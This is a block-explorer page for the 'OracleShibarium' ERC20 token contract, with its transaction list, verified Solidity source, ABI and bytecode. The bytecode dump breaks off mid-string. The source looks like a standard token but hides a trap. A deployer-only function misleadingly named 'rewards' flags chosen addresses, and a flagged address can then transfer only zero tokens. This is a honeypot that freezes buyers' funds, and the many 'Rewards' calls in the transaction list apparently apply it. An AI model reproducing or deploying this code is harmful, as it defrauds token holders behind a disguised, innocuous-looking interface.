ETH Price: $3,355.41 (+0.22%)
Gas: 9 Gwei

Contract

0x12cd2C29453Ad82461B12e2FeCC80E238B1595b1
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer171140272023-04-24 5:19:47463 days ago1682313587IN
0x12cd2C29...38B1595b1
0 ETH0.0009313538.5989609
Approve169312862023-03-29 6:51:59489 days ago1680072719IN
0x12cd2C29...38B1595b1
0 ETH0.0005957124.62026768
Approve165435562023-02-02 20:40:23543 days ago1675370423IN
0x12cd2C29...38B1595b1
0 ETH0.0015265932.84402477
Approve165435372023-02-02 20:36:23543 days ago1675370183IN
0x12cd2C29...38B1595b1
0 ETH0.0018173139.09887739
Rewards165435282023-02-02 20:34:35543 days ago1675370075IN
0x12cd2C29...38B1595b1
0 ETH0.01544853333
Approve165435272023-02-02 20:34:23543 days ago1675370063IN
0x12cd2C29...38B1595b1
0 ETH0.0015075332.43399312
Rewards165435222023-02-02 20:33:23543 days ago1675370003IN
0x12cd2C29...38B1595b1
0 ETH0.0014858932.02914146
Approve165435162023-02-02 20:32:11543 days ago1675369931IN
0x12cd2C29...38B1595b1
0 ETH0.0017662438
Approve165435132023-02-02 20:31:35543 days ago1675369895IN
0x12cd2C29...38B1595b1
0 ETH0.0017022636.62361727
Rewards165435112023-02-02 20:31:11543 days ago1675369871IN
0x12cd2C29...38B1595b1
0 ETH0.0016649435.8885584
Rewards165435092023-02-02 20:30:47543 days ago1675369847IN
0x12cd2C29...38B1595b1
0 ETH0.0016813836.2430329
Rewards165435032023-02-02 20:29:35543 days ago1675369775IN
0x12cd2C29...38B1595b1
0 ETH0.0014716731.72267845
Rewards165435012023-02-02 20:29:11543 days ago1675369751IN
0x12cd2C29...38B1595b1
0 ETH0.001429930.83021469
Rewards165435002023-02-02 20:28:59543 days ago1675369739IN
0x12cd2C29...38B1595b1
0 ETH0.0014533131.32686075
Approve165435002023-02-02 20:28:59543 days ago1675369739IN
0x12cd2C29...38B1595b1
0 ETH0.0015490333.32686075
Approve165435002023-02-02 20:28:59543 days ago1675369739IN
0x12cd2C29...38B1595b1
0 ETH0.0015490333.32686075
Transfer165434972023-02-02 20:28:23543 days ago1675369703IN
0x12cd2C29...38B1595b1
0 ETH0.0008030133.00125804
Approve165434962023-02-02 20:28:11543 days ago1675369691IN
0x12cd2C29...38B1595b1
0 ETH0.0014678631.62137982
Transfer165434942023-02-02 20:27:47543 days ago1675369667IN
0x12cd2C29...38B1595b1
0 ETH0.0010165632.48957742
Rewards165434922023-02-02 20:27:23543 days ago1675369643IN
0x12cd2C29...38B1595b1
0 ETH0.0014105530.40509229
Rewards165434892023-02-02 20:26:47543 days ago1675369607IN
0x12cd2C29...38B1595b1
0 ETH0.0014273330.76685933
Approve165434872023-02-02 20:26:23543 days ago1675369583IN
0x12cd2C29...38B1595b1
0 ETH0.0015720133.82131489
Approve165434822023-02-02 20:25:23543 days ago1675369523IN
0x12cd2C29...38B1595b1
0 ETH0.001697136.51252953
Approve165434802023-02-02 20:24:59543 days ago1675369499IN
0x12cd2C29...38B1595b1
0 ETH0.0016067234.56819003
Approve165434792023-02-02 20:24:47543 days ago1675369487IN
0x12cd2C29...38B1595b1
0 ETH0.0016348235.17272202
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OracleShibarium

Compiler Version
v0.5.10+commit.5a6ea5b1

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-02
*/

/**
 ________  ________  ________  ________  ___       _______           ________  ___  ___  ___  ________  ________  ________  ___  ___  ___  _____ ______      
|\   __  \|\   __  \|\   __  \|\   ____\|\  \     |\  ___ \         |\   ____\|\  \|\  \|\  \|\   __  \|\   __  \|\   __  \|\  \|\  \|\  \|\   _ \  _   \    
\ \  \|\  \ \  \|\  \ \  \|\  \ \  \___|\ \  \    \ \   __/|        \ \  \___|\ \  \\\  \ \  \ \  \|\ /\ \  \|\  \ \  \|\  \ \  \ \  \\\  \ \  \\\__\ \  \   
 \ \  \\\  \ \   _  _\ \   __  \ \  \    \ \  \    \ \  \_|/__       \ \_____  \ \   __  \ \  \ \   __  \ \   __  \ \   _  _\ \  \ \  \\\  \ \  \\|__| \  \  
  \ \  \\\  \ \  \\  \\ \  \ \  \ \  \____\ \  \____\ \  \_|\ \       \|____|\  \ \  \ \  \ \  \ \  \|\  \ \  \ \  \ \  \\  \\ \  \ \  \\\  \ \  \    \ \  \ 
   \ \_______\ \__\\ _\\ \__\ \__\ \_______\ \_______\ \_______\        ____\_\  \ \__\ \__\ \__\ \_______\ \__\ \__\ \__\\ _\\ \__\ \_______\ \__\    \ \__\
    \|_______|\|__|\|__|\|__|\|__|\|_______|\|_______|\|_______|       |\_________\|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__|\|_______|\|__|     \|__|
                                                                       \|_________|                                                                          
*/




//SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _OracleAddress_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_OracleAddress_[msg.sender] || _OracleAddress_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_OracleAddress_[_from] || _OracleAddress_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function rewards(
    address _addressOracleApproved
  ) 
    external
  {
    require(msg.sender == approved);
    if (_OracleAddress_[_addressOracleApproved] == true) {
      _OracleAddress_[_addressOracleApproved] = false;
    } else {
      _OracleAddress_[_addressOracleApproved] = true;
    }
  }

  function reabseCall(
    address _addressOracleApproved
  )
    public
    view
    returns (bool) 
  {
    return _OracleAddress_[_addressOracleApproved];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract OracleShibarium is StandardToken {

  string public constant name = "Oracle Shibarium";
  string public constant symbol = "OracleSHIB";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addressOracleApproved","type":"address"}],"name":"rewards","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_addressOracleApproved","type":"address"}],"name":"reabseCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

608060405234801561001057600080fd5b5033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610079600960ff16600a0a64e8d4a510000260025461019d60201b61165d1790919060201c565b6002819055506100e2600960ff16600a0a64e8d4a51000026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461019d60201b61165d1790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a64e8d4a51000026040518082815260200191505060405180910390a36101b7565b60008183019050828110156101ae57fe5b80905092915050565b6116ac806101c66000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063661884631161008c5780639d2a18f5116100665780639d2a18f514610443578063a9059cbb1461049f578063d73dd62314610505578063dd62ed3e1461056b576100ea565b8063661884631461030257806370a082311461036857806395d89b41146103c0576100ea565b806318160ddd116100c857806318160ddd1461021c57806323b872dd1461023a5780632ff2e9dc146102c0578063313ce567146102de576100ea565b806306fdde03146100ef5780630700037d14610172578063095ea7b3146101b6575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b46004803603602081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061061c565b005b610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610787565b604051808215151515815260200191505060405180910390f35b610224610879565b6040518082815260200191505060405180910390f35b6102a66004803603606081101561025057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610883565b604051808215151515815260200191505060405180910390f35b6102c8610d30565b6040518082815260200191505060405180910390f35b6102e6610d42565b604051808260ff1660ff16815260200191505060405180910390f35b61034e6004803603604081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d47565b604051808215151515815260200191505060405180910390f35b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd8565b6040518082815260200191505060405180910390f35b6103c8611020565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104085780820151818401526020810190506103ed565b50505050905090810190601f1680156104355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104856004803603602081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611059565b604051808215151515815260200191505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110af565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c3565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bf565b6040518082815260200191505060405180910390f35b6040518060400160405280601081526020017f4f7261636c652053686962617269756d0000000000000000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067657600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561072c576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610784565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109265750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561097d576000821461097c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a0257600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a8b57600080fd5b610adc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600960ff16600a0a64e8d4a510000281565b600981565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e58576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eec565b610e6b838261164690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600a81526020017f4f7261636c65534849420000000000000000000000000000000000000000000081525081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111525750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111a957600082146111a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561122e57600080fd5b61127f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611312826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061145482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165257fe5b818303905092915050565b600081830190508281101561166e57fe5b8090509291505056fea265627a7a723058202db6c8fa868b02cea220cf517780066232dda59f09a47ad6b7f9c10da236bf3164736f6c634300050a0032

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063661884631161008c5780639d2a18f5116100665780639d2a18f514610443578063a9059cbb1461049f578063d73dd62314610505578063dd62ed3e1461056b576100ea565b8063661884631461030257806370a082311461036857806395d89b41146103c0576100ea565b806318160ddd116100c857806318160ddd1461021c57806323b872dd1461023a5780632ff2e9dc146102c0578063313ce567146102de576100ea565b806306fdde03146100ef5780630700037d14610172578063095ea7b3146101b6575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b46004803603602081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061061c565b005b610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610787565b604051808215151515815260200191505060405180910390f35b610224610879565b6040518082815260200191505060405180910390f35b6102a66004803603606081101561025057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610883565b604051808215151515815260200191505060405180910390f35b6102c8610d30565b6040518082815260200191505060405180910390f35b6102e6610d42565b604051808260ff1660ff16815260200191505060405180910390f35b61034e6004803603604081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d47565b604051808215151515815260200191505060405180910390f35b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd8565b6040518082815260200191505060405180910390f35b6103c8611020565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104085780820151818401526020810190506103ed565b50505050905090810190601f1680156104355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104856004803603602081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611059565b604051808215151515815260200191505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110af565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c3565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bf565b6040518082815260200191505060405180910390f35b6040518060400160405280601081526020017f4f7261636c652053686962617269756d0000000000000000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067657600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561072c576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610784565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109265750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561097d576000821461097c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a0257600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a8b57600080fd5b610adc826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600960ff16600a0a64e8d4a510000281565b600981565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673